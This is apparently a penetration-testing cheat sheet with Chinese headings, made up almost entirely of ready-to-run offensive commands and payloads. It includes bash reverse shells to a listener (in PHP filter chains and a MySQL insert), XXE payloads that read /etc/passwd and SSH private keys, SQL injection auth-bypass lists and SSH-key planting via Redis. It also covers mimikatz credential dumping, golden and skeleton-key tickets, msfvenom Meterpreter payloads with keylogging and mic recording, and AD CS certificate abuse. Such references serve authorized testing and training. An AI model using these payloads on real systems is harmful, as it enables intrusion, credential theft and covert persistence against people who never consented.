python3 php_filter_chain_generator.py --chain """"<?php exec(""/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"");?>""""
python3 php_filter_chain_generator.py --chain """"<?php exec(""/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"");?>""""

http://<RHOST>/?page=php://filter/convert.base64-decode/resource=PD9waHAgZWNobyBzaGVsbF9leGVjKGlkKTsgPz4

python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>'
[+] The following gadget chain will generate the following code : <?= exec($_GET[0]); ?> (base64 value: PD89IGV4ZWMoJF9HRVRbMF0pOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|<--- SNIP --->|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=<COMMAND>

PHP 通用小工具链 (PHPGGC)

phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/<FILE>.txt /PATH/TO/FILE/<FILE>.txt

服务器端请求伪造 (SSRF)

https://<RHOST>/item/2?server=server.<RHOST>/file?id=9&x=

服务器端模板注入 (SSTI)

字符串模糊测试

https://cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti

${{<%[%'"}}%\.

魔法有效载荷

https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee

{{ ‘’.__class__.__mro__[1].__subclasses__() }}

上传漏洞

ASP / ASPX / PHP / PHP3 / PHP5: Webshell / Remote Code Execution
SVG: Stored XSS / Server-Side Request Forgery
GIF: Stored XSS
CSV: CSV Injection
XML: XXE
AVI: Local File Inclusion / Server-Side request Forgery
HTML/JS: HTML Injection / XSS / Open Redirect
PNG / JPEG: Pixel Flood Attack
ZIP: Remote Code Exection via Local File Inclusion
PDF / PPTX: Server-Side Request Forgery / Blind XXE

模糊测试

wfuzz -w /usr/share/wfuzz/wordlist/general/big.txt -u http://<RHOST>/FUZZ/<FILE>.php --hc '403,404'

写入文件

wfuzz -w /PATH/TO/WORDLIST -c -f <FILE> -u http://<RHOST> --hc 403,404

输出有限的自定义扫描

wfuzz -w /PATH/TO/WORDLIST -u http://<RHOST>/dev/304c0c90fbc6520610abbf378e2339d1/db/file_FUZZ.txt --sc 200 -t 20

一次模糊测试两个参数

wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>:/<directory>/FUZZ.FUZ2Z -z list,txt-php --hc 403,404 -c

域名

wfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.<RHOST>' -u http://<RHOST>/

子域

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.<RHOST>" --hc 200 --hw 356 -t 100 <RHOST>

git

wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u http://<RHOST>/FUZZ --hc 403,404

登录

wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "email=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST>.txt --hc 200 -c
wfuzz -X POST -u "http://<RHOST>:<RPORT>/login.php" -d "username=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST>.txt --ss "Invalid login"

SQL

wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/SQLi/Generic-SQLi.txt -d 'db=FUZZ' --hl 16 http://<RHOST>/select http

域名系统

wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Origin: http://FUZZ.<RHOST>" --filter "r.headers.response~'Access-Control-Allow-Origin'" http://<RHOST>/
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,404,403 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -t 100
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,403,404 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> --hw <value> -t 100

对文件进行编号

wfuzz -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt --hw 31 http://10.13.37.11/backups/backup_2021052315FUZZ.zip

枚举 PID

wfuzz -u 'http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdline' -z range,900-1000

WPScan

wpscan --url https://<RHOST> --enumerate u,t,p
wpscan --url https://<RHOST> --plugins-detection aggressive
wpscan --url https://<RHOST> --disable-tls-checks
wpscan --url https://<RHOST> --disable-tls-checks --enumerate u,t,p
wpscan --url http://<RHOST> -U <USERNAME> -P passwords.txt -t 50

XML 外部实体 (XXE)

有效负载请求骨架

GET / HTTP/1.1
Host: <RHOST>:<RPORT>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 136

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "http://<LHOST>:80/shell.php" >]>
<foo>&xxe;</foo>

有效载荷

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [ <!ENTITY passwd SYSTEM 'file:///etc/passwd'> ]>
 <stockCheck><productId>&passwd;</productId><storeId>1</storeId></stockCheck>

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]><order><quantity>3</quantity><item>&test;</item><address>17th Estate, CA</address></order>

username=%26username%3b&version=1.0.0--><!DOCTYPE+username+[+<!ENTITY+username+SYSTEM+"/root/.ssh/id_rsa">+]><!--

数据库分析

MongoDB

mongo "mongodb://localhost:27017"

> use <DATABASE>;
> show tables;
> show collections;
> db.system.keys.find();
> db.users.find();
> db.getUsers();
> db.getUsers({showCredentials: true});
> db.accounts.find();
> db.accounts.find().pretty();
> use admin;

用户密码重置为“12345”

> db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })

SQL数据库

显示数据库内容

1> SELECT name FROM master.sys.databases
2> go

开放查询

1> select * from openquery("web\clients", 'select name from master.sys.databases');
2> go

1> select * from openquery("web\clients", 'select name from clients.sys.objects');
2> go

二进制提取为 Base64

1> select cast((select content from openquery([web\clients], 'select * from clients.sys.assembly_files') where assembly_id = 65536) as varbinary(max)) for xml path(''), binary base64;
2> go > export.txt

窃取 NetNTLM 哈希/中继攻击

SQL> exec master.dbo.xp_dirtree '\\<LHOST>\FOOBAR'

MySQL

mysql -u root -p
mysql -u <USERNAME> -h <RHOST> -p

mysql> show databases;
mysql> use <DATABASE>;
mysql> show tables;
mysql> describe <TABLE>;
mysql> SELECT * FROM Users;
mysql> SELECT * FROM users \G;
mysql> SELECT Username,Password FROM Users;

更新用户密码

mysql> update user set password = '37b08599d3f323491a66feabbb5b26af' where user_id = 1;

丢下一个贝壳

mysql> \! /bin/sh

xp_cmdshell

SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> reconfigure
SQL> xp_cmdshell "whoami"

SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

插入代码来执行

mysql> insert into users (id, email) values (<LPORT>, "- E $(bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1')");

将SSH密钥写入authorized_keys2文件

mysql> SELECT "<KEY>" INTO OUTFILE '/root/.ssh/authorized_keys2' FIELDS TERMINATED BY '' OPTIONALLY ENCLOSED BY '' LINES TERMINATED BY '\n';

链接的 SQL Server 枚举

SQL> SELECT user_name();
SQL> SELECT name,sysadmin FROM syslogins;
SQL> SELECT srvname,isremote FROM sysservers;
SQL> EXEC ('SELECT current_user') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('SELECT srvname,isremote FROM sysservers') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('EXEC (''SELECT suser_name()'') at [<DOMAIN>\<CONFIG_FILE>]') at [<DOMAIN>\<CONFIG_FILE>];

NoSQL注入

admin'||''==='
{"username": {"$ne": null}, "password": {"$ne": null} }

PostgreSQL

psql
psql -h <LHOST> -U <USERNAME> -c "<COMMAND>;"
psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>
psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>

常用命令

postgres=# \list                     // list all databases
postgres=# \c                        // use database
postgres=# \c <DATABASE>             // use specific database
postgres=# \s                        // command history
postgres=# \q                        // quit
<DATABASE>=# \dt                     // list tables from current schema
<DATABASE>=# \dt *.*                 // list tables from all schema
<DATABASE>=# \du                     // list users roles
<DATABASE>=# \du+                    // list users roles
<DATABASE>=# SELECT user;            // get current user
<DATABASE>=# TABLE <TABLE>;          // select table
<DATABASE>=# SELECT * FROM users;    // select everything from users table
<DATABASE>=# SHOW rds.extensions;    // list installed extensions
<DATABASE>=# SELECT usename, passwd from pg_shadow;    // read credentials

Redis

> AUTH <PASSWORD>
> AUTH <USERNAME> <PASSWORD>
> INFO SERVER
> INFO keyspace
> CONFIG GET *
> SELECT <NUMBER>
> KEYS *
> HSET       // set value if a field within a hash data structure
> HGET       // retrieves a field and his value from a hash data structure
> HKEYS      // retrieves all field names from a hash data structure
> HGETALL    // retrieves all fields and values from a hash data structure
> GET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b
> SET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b "username|s:8:\"<USERNAME>\";role|s:5:\"admin\";auth|s:4:\"True\";" # the value "s:8" has to match the length of the username

输入自己的 SSH 密钥

redis-cli -h <RHOST>
echo "FLUSHALL" | redis-cli -h <RHOST>
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /PATH/TO/FILE/<FILE>.txt
cat /PATH/TO/FILE/<FILE>.txt | redis-cli -h <RHOST> -x set s-key
<RHOST>:6379> get s-key
<RHOST>:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
<RHOST>:6379> CONFIG SET dir /var/lib/redis/.ssh
OK
<RHOST>:6379> CONFIG SET dbfilename authorized_keys
OK
<RHOST>:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "authorized_keys"
<RHOST>:6379> save
OK

sqlcmd

sqlcmd -S <RHOST> -U <USERNAME>

SQL注入

主列表

admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-

身份验证绕过

'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

SQL截断攻击

'admin@<FQDN>' = 'admin@<FQDN>++++++++++++++++++++++++++++++++++++++htb'

sqlite3

sqlite3 <FILE>.db

sqlite> .tables
sqlite> PRAGMA table_info(<TABLE>);
sqlite> SELECT * FROM <TABLE>;

sqsh

sqsh -S <RHOST> -U <USERNAME>
sqsh -S '<RHOST>' -U '<USERNAME>' -P '<PASSWORD>'
sqsh -S '<RHOST>' -U '.\<USERNAME>' -P '<PASSWORD>'

使用 xp_dirtree 列出文件和文件夹

EXEC master.sys.xp_dirtree N'C:\inetpub\wwwroot\',1,1;

密码攻击

破解映射执行程序

crackmapexec ldap -L
crackmapexec mysql -L
crackmapexec smb -L
crackmapexec ssh -L
crackmapexec winrm -L

crackmapexec smb <RHOST> -u '' -p '' --shares
crackmapexec smb <RHOST> -u '' -p '' --shares -M spider_plus
crackmapexec smb <RHOST> -u '' -p '' --shares -M spider_plus -o READ_ONLY=false
crackmapexec smb <RHOST> -u " " -p "" --shares
crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus
crackmapexec smb <RHOST> -u " " -p "" --shares -M spider_plus -o READ_ONLY=false
crackmapexec smb <RHOST> -u guest -p '' --shares --rid-brute
crackmapexec smb <RHOST> -u guest -p '' --shares --rid-brute 100000
crackmapexec smb <RHOST> -u "guest" -p "" --shares --rid-brute
crackmapexec smb <RHOST> -u "guest" -p "" --shares --rid-brute 100000
crackmapexec ldap <RHOST> -u '' -p '' -M get-desc-users
crackmapexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa
crackmapexec ldap <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --gmsa -k
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --shares
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --lsa
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --sam
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" -M lsassy
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds
crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds
crackmapexec smb <RHOST> -u "<USERNAME>" -p "<PASSWORD>" --ntds --user <USERNAME>
crackmapexec smb <RHOST> -u "<USERNAME>" -H "<NTLMHASH>" --ntds --user <USERNAME>
crackmapexec smb <RHOST> -u "<USERNAME>" -H <HASH> -x "whoami"
crackmapexec winrm -u usernames.txt -p '<PASSWORD>' -d <DOMAIN> <RHOST>
crackmapexec winrm <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --shares
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --pass-pol
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --lusers
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --sam
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'net user Administrator /domain' --exec-method smbexec
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt --wdigest enable
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -x 'quser'
crackmapexec <PROTOCOL> <RHOST> -u ~/PATH/TO/FILE/usernames.txt -p /usr/share/wordlists/rockyou.txt -m modules/credentials/mimikatz.py

fcrack

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt <FILE>.zip

hashcat

https://hashcat.net/hashcat/

https://hashcat.net/wiki/doku.php?id=hashcat

https://hashcat.net/cap2hashcat/

https://hashcat.net/wiki/doku.php?id=example_hashes

hashcat --example-hashes

hashcat -m 0 md5 /usr/share/wordlists/rockyou.txt
hashcat -m 100 sha-1 /usr/share/wordlists/rockyou.txt
hashcat -m 1400 sha256 /usr/share/wordlists/rockyou.txt
hashcat -m 3200 bcrypt /usr/share/wordlists/rockyou.txt
hashcat -m 900 md4 /usr/share/wordlists/rockyou.txt
hashcat -m 1000 ntlm /usr/share/wordlists/rockyou.txt
hashcat -m 1800 sha512 /usr/share/wordlists/rockyou.txt
hashcat -m 160 hmac-sha1 /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 0 hash.txt SecLists/Passwords/xato-net-10-million-passwords-1000000.txt -O --force
hashcat -O -m 500 -a 3 -1 ?l -2 ?d -3 ?u  --force hash.txt ?3?3?1?1?1?1?2?3

破解 ASPREPRoast 密码文件

hashcat -m 18200 -a 0 <FILE> <FILE>

破解 Kerberoasting 密码文件

hashcat -m 13100 --force <FILE> <FILE>

基于模式的暴力破解

hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout

生成候选密码：单词列表+模式

hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout

使用internalMonologue生成NetNLTMv2并使用hashcat破解

InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800

结果

spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000

用hashcat破解

hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /usr/share/wordlists/rockyou.txt --force --potfile-disable

规则

https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule

使用 OneRuleToRuleThemAll.rule 进行破解

hashcat -m 3200 hash.txt -r /PATH/TO/FILE.rule

Hydra

hydra <RHOST> -l <USERNAME> -p <PASSWORD> <PROTOCOL>
hydra <RHOST> -L /PATH/TO/WORDLIST/<FILE> -P /PATH/TO/WORDLIST/<FILE> <PROTOCOL>
hydra -C /PATH/TO/WORDLIST/<FILE> <RHOST> ftp

export HYDRA_PROXY=connect://127.0.0.1:8080
unset HYDRA_PROXY

hydra -l <USERNAME> -P /PATH/TO/WORDLIST/<FILE> <RHOST> http-post-form "/admin.php:username=^USER^&password=^PASS^:login_error"

hydra <RHOST> http-post-form -L /PATH/TO/WORDLIST/<FILE> "/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s <RPORT> -P /PATH/TO/WORDLIST/<FILE>

hydra <RHOST> http-form-post "/otrs/index.pl:Action=Login&RequestedURL=Action=Admin&User=root@localhost&Password=^PASS^:Login failed" -l root@localhost -P otrs-cewl.txt -vV -f

hydra -l admin -P /PATH/TO/WORDLIST/<FILE> <RHOST> http-post-form "/Account/login.aspx?ReturnURL=/admin/:__VIEWSTATE=COOKIE_1&__EVENTVALIDATION=COOKIE_2&UserName=^USER^&Password=^PASS^&LoginButton=Log+in:Login failed"

John

/usr/share/john/ssh2john.py id_rsa > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt <FILE>
john --rules --wordlist=/usr/share/wordlists/rockyou.txt <FILE>
john --show <FILE>

Kerbrute

用户枚举

./kerbrute userenum -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES>

密码喷洒

./kerbrute passwordspray -d <DOMAIN> --dc <DOMAIN> /PATH/TO/FILE/<USERNAMES> <PASSWORD>

LaZagne

laZagne.exe all

mimikatz

转储 Hshes

.\mimikatz.exe
sekurlsa::minidump /users/admin/Desktop/lsass.DMP
sekurlsa::LogonPasswords
meterpreter > getprivs
meterpreter > creds_all
meterpreter > golden_ticket_create

导出票据

.\mimikatz.exe
sekurlsa::tickets /export
kerberos::ptt [0;76126]-2-0-40e10000-Administrator@krbtgt-<RHOST>.LOCAL.kirbi
klist
dir \\<RHOST>\admin$

伪造金票

.\mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
misc::cmd
klist
dir \\<RHOST>\admin$

万能钥匙

privilege::debug
misc::skeleton
net use C:\\<RHOST>\admin$ /user:Administrator mimikatz
dir \\<RHOST>\c$ /user:<USERNAME> mimikatz

pypykatz

pypykatz lsa minidump lsass.dmp
pypykatz registry --sam sam system

漏洞利用工具

图像轨迹

https://imagetragick.com/

MSL / 多语言攻击

https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html

poc.svg

<image authenticate='ff" `echo $(cat /home/<USERNAME>/.ssh/id_rsa)> /dev/shm/id_rsa`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

convert poc.svg poc.png
cp /tmp/poc.svg /var/www/html/convert_images/

Metasploit

$ sudo msfdb run                   // start database
$ sudo msfdb init                  // database initialization
$ msfdb --use-defaults delete      // delete existing databases
$ msfdb --use-defaults init        // database initialization
$ msfdb status                     // database status
msf6 > workspace                   // metasploit workspaces
msf6 > workspace -a <WORKSPACE>    // add a workspace
msf6 > workspace -r <WORKSPACE>    // rename a workspace
msf6 > workspace -d <WORKSPACE>    // delete a workspace
msf6 > workspace -D                // delete all workspaces
msf6 > db_nmap <OPTIONS>           // execute nmap and add output to database
msf6 > hosts                       // reads hosts from database
msf6 > services                    // reads services from database
msf6 > vulns                       // displaying vulnerabilities
msf6 > search                      // search within metasploit
msf6 > set RHOST <RHOST>           // set remote host
msf6 > set RPORT <RPORT>           // set remote port
msf6 > run                         // run exploit
msf6 > spool /PATH/TO/FILE         // recording screen output
msf6 > save                        // saves current state
msf6 > exploit                     // using module exploit
msf6 > payload                     // using module payload
msf6 > auxiliary                   // using module auxiliary
msf6 > encoder                     // using module encoder
msf6 > nop                         // using module nop
msf6 > show sessions               // displays all current sessions
msf6 > sessions -i 1               // switch to session 1
msf6 > sessions -u <ID>            // upgrading shell to meterpreter
msf6 > sessions -k <ID>            // kill specific session
msf6 > sessions -K                 // kill all sessions
msf6 > jobs                        // showing all current jobs
msf6 > show payloads               // displaying available payloads
msf6 > set VERBOSE true            // enable verbose output
msf6 > set forceexploit true       // exploits the target anyways
msf6 > set EXITFUNC thread         // reverse shell can exit without exit the program
msf6 > set AutoLoadStdapi false    // disables autoload of stdapi
msf6 > set PrependMigrate true     // enables automatic process migration
msf6 > set PrependMigrateProc explorer.exe                        // auto migrate to explorer.exe
msf6 > use post/PATH/TO/MODULE                                    // use post exploitation module
msf6 > use post/linux/gather/hashdump                             // use hashdump for Linux
msf6 > use post/multi/manage/shell_to_meterpreter                 // shell to meterpreter
msf6 > use exploit/windows/http/oracle_event_processing_upload    // use a specific module
C:\> > Ctrl + z                                  // put active meterpreter shell in background
meterpreter > loadstdapi                         // load stdapi
meterpreter > background                         // put meterpreter in background (same as "bg")
meterpreter > shell                              // get a system shell
meterpreter > channel -i <ID>                    // get back to existing meterpreter shell
meterpreter > ps                                 // checking processes
meterpreter > migrate 2236                       // migrate to a process
meterpreter > getuid                             // get the user id
meterpreter > sysinfo                            // get system information
meterpreter > search -f <FILE>                   // search for a file
meterpreter > upload                             // uploading local files to the target
meterpreter > ipconfig                           // get network configuration
meterpreter > load powershell                    // loads powershell
meterpreter > powershell_shell                   // follow-up command for load powershell
meterpreter > powershell_execute                 // execute command
meterpreter > powershell_import                  // import module
meterpreter > powershell_shell                   // shell
meterpreter > powershell_session_remove          // remove
meterpreter > powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress'                                // network discovery
meterpreter > powershell_execute '1..254 | foreach { "<XXX.XXX.XXX>.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName <XXX.XXX.XXX>.${_} -Quiet)" }'    // network scan
meterpreter > powershell_execute 'Test-NetConnection -ComputerName <RHOST> -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded'                            // port scan
meterpreter > load kiwi                          // load mimikatz
meterpreter > help kiwi                          // mimikatz help
meterpreter > kiwi_cmd                           // execute mimikatz native command
meterpreter > lsa_dump_sam                       // lsa sam dump
meterpreter > dcsync_ntlm krbtgt                 // dc sync
meterpreter > creds_all                          // dump all credentials
meterpreter > creds_msv                          // msv dump
meterpreter > creds_kerberos                     // kerberos dump
meterpreter > creds_ssp                          // ssp dump
meterpreter > creds_wdigest                      // wdigest dump
meterpreter > getprivs                           // get privileges after loading mimikatz
meterpreter > getsystem                          // gain system privileges if user is member of administrator group
meterpreter > hashdump                           // dumps all the user hashes
meterpreter > run post/windows/gather/checkvm    // check status of the target
meterpreter > run post/multi/recon/local_exploit_suggester    // checking for exploits
meterpreter > run post/windows/manage/enable_rdp              // enables rdp
meterpreter > run post/multi/manage/autoroute                 // runs autoroutes
meterpreter > run auxiliary/server/socks4a                    // runs socks4 proxy server
meterpreter > keyscan_start                                   // enabled keylogger
meterpreter > keyscan_dump                                    // showing the output
meterpreter > screenshare                                     // realtime screen sharing
meterpreter > screenshare -q 100                              // realtime screen sharing
meterpreter > record_mic                                      // recording mic output
meterpreter > timestomp                                       // modify timestamps
meterpreter > execute -f calc.exe                             // starts a program on the victim
meterpreter > portfwd add -l <LPORT> -p <RPORT> -r 127.0.0.1    // port forwarding

通过代理链的 Metasploit

proxychains -q msfconsole

Auxiliary 输出目录

/home/<USERNAME>/.msf4/loot/20200623090635_default_<RHOST>_nvms.traversal_680948.txt

Meterpreter监听器

生成有效负载

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o meterpreter_payload.exe

为 Microsoft Windows 设置侦听器

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
LHOST => <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
LPORT => <LPORT>
msf6 exploit(multi/handler) > run

下载文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f exe -o <FILE>.exe

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST <LHOST>
LHOST => <LHOST>
msf6 exploit(multi/handler) > set LPORT <LPORT>
LPORT => <LPORT>
msf6 exploit(multi/handler) > run

.\<FILE>.exe

meterpreter > download *

后渗透利用

Active Directory 证书服务 (AD CS)

certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -vulnerable -stdout

ESC1：证书模板配置错误

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE> -upn administrator@<DOMAIN> -dns <RHOST>
certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC2：证书模板配置错误

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx <USERNAME>.pfx
certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC3：注册代理模板

certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>
certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -on-behalf-of '<DOMAIN>\Administrator' -pfx <USERNAME>.pfx
certipy auth -pfx administrator.pfx -dc-ip <RHOST>

ESC4：存在漏洞的证书模板访问控制

certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template <TEMPLAET> -save-old
